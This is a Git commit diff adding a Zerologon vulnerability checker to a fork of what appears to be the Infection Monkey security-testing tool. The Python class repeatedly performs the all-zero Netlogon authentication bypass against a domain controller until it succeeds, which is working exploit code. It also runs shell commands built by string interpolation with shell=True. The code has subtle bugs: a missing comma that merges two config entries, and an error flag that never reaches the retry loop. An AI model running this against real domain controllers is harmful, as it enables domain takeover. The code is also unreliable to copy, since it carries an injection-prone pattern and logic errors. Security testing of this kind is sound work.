forked from p15670423/monkey
Add Zerologon fingerprinter
This commit is contained in:
parent
53f3625172
commit
0a8d1f2afe
|
@ -0,0 +1,103 @@
|
|||
import logging
|
||||
import subprocess
|
||||
|
||||
from impacket.dcerpc.v5 import epm, nrpc, transport
|
||||
|
||||
import infection_monkey.config
|
||||
from infection_monkey.network.HostFinger import HostFinger
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class WindowsServerFinger(HostFinger):
|
||||
# Class related consts
|
||||
MAX_ATTEMPTS = 2000
|
||||
_SCANNED_SERVICE = "Windows Server"
|
||||
|
||||
def __init__(self):
|
||||
self._config = infection_monkey.config.WormConfiguration
|
||||
|
||||
def get_host_fingerprint(self, host):
|
||||
"""
|
||||
Checks if the Windows Server is vulnerable to Zerologon.
|
||||
"""
|
||||
unexpected_error_encountered = False
|
||||
|
||||
def try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME):
|
||||
# Connect to the DC's Netlogon service.
|
||||
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
||||
protocol='ncacn_ip_tcp')
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
|
||||
# Use an all-zero challenge and credential.
|
||||
plaintext = b'\x00' * 8
|
||||
ciphertext = b'\x00' * 8
|
||||
|
||||
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
|
||||
flags = 0x212fffff
|
||||
|
||||
# Send challenge and authentication request.
|
||||
nrpc.hNetrServerReqChallenge(
|
||||
rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
|
||||
|
||||
try:
|
||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||
rpc_con, DC_HANDLE + '\x00', DC_NAME +
|
||||
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||
DC_NAME + '\x00', ciphertext, flags
|
||||
)
|
||||
|
||||
# It worked!
|
||||
assert server_auth['ErrorCode'] == 0
|
||||
return rpc_con
|
||||
|
||||
except nrpc.DCERPCSessionError as ex:
|
||||
if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
||||
pass
|
||||
else:
|
||||
LOG.error(f'Unexpected error code: {ex.get_error_code()}.')
|
||||
unexpected_error_encountered = True
|
||||
|
||||
except BaseException as ex:
|
||||
LOG.error(f'Unexpected error: {ex}.')
|
||||
unexpected_error_encountered = True
|
||||
|
||||
return None
|
||||
|
||||
DC_IP = host.ip_addr
|
||||
DC_NAME = self.get_dc_name(DC_IP)
|
||||
DC_HANDLE = '\\\\' + DC_NAME
|
||||
|
||||
# Keep authenticating until successful. Expected average number of attempts needed: 256.
|
||||
LOG.info('Performing Zerologon authentication attempts...')
|
||||
rpc_con = None
|
||||
for attempt in range(0, self.MAX_ATTEMPTS):
|
||||
rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
|
||||
if (rpc_con is not None) or (unexpected_error_encountered):
|
||||
break
|
||||
|
||||
self.init_service(host.services, self._SCANNED_SERVICE, None)
|
||||
|
||||
if rpc_con:
|
||||
LOG.info('Success: DC can be fully compromised by a Zerologon attack.')
|
||||
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
|
||||
return True
|
||||
else:
|
||||
LOG.info('Failure: Target is either patched or an unexpected error was encountered.')
|
||||
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False
|
||||
return False
|
||||
|
||||
def get_dc_name(self, DC_IP):
|
||||
"""
|
||||
Gets NetBIOS name of the DC.
|
||||
"""
|
||||
if is_windows_os():
|
||||
cmd = f'nbtstat -A {DC_IP} | findstr "<00>"'
|
||||
name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip(' ').split(' ')[0]
|
||||
else:
|
||||
cmd = f'nmblookup -A {DC_IP} | grep "<00>"'
|
||||
name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip('\t').strip(' ').split(' ')[0]
|
||||
return name
|
|
@ -56,7 +56,6 @@ FINGER_CLASSES = {
|
|||
"info": "Checks if Microsoft SQL service is running and tries to gather information about it.",
|
||||
"attack_techniques": ["T1210"]
|
||||
},
|
||||
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
|
@ -65,6 +64,15 @@ FINGER_CLASSES = {
|
|||
"title": "ElasticFinger",
|
||||
"info": "Checks if ElasticSearch is running and attempts to find it's version.",
|
||||
"attack_techniques": ["T1210"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"WindowsServerFinger"
|
||||
],
|
||||
"title": "WindowsServerFinger",
|
||||
"info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.",
|
||||
"attack_techniques": ["T1210"]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
|
@ -223,6 +223,7 @@ INTERNAL = {
|
|||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
"WindowsServerFinger"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue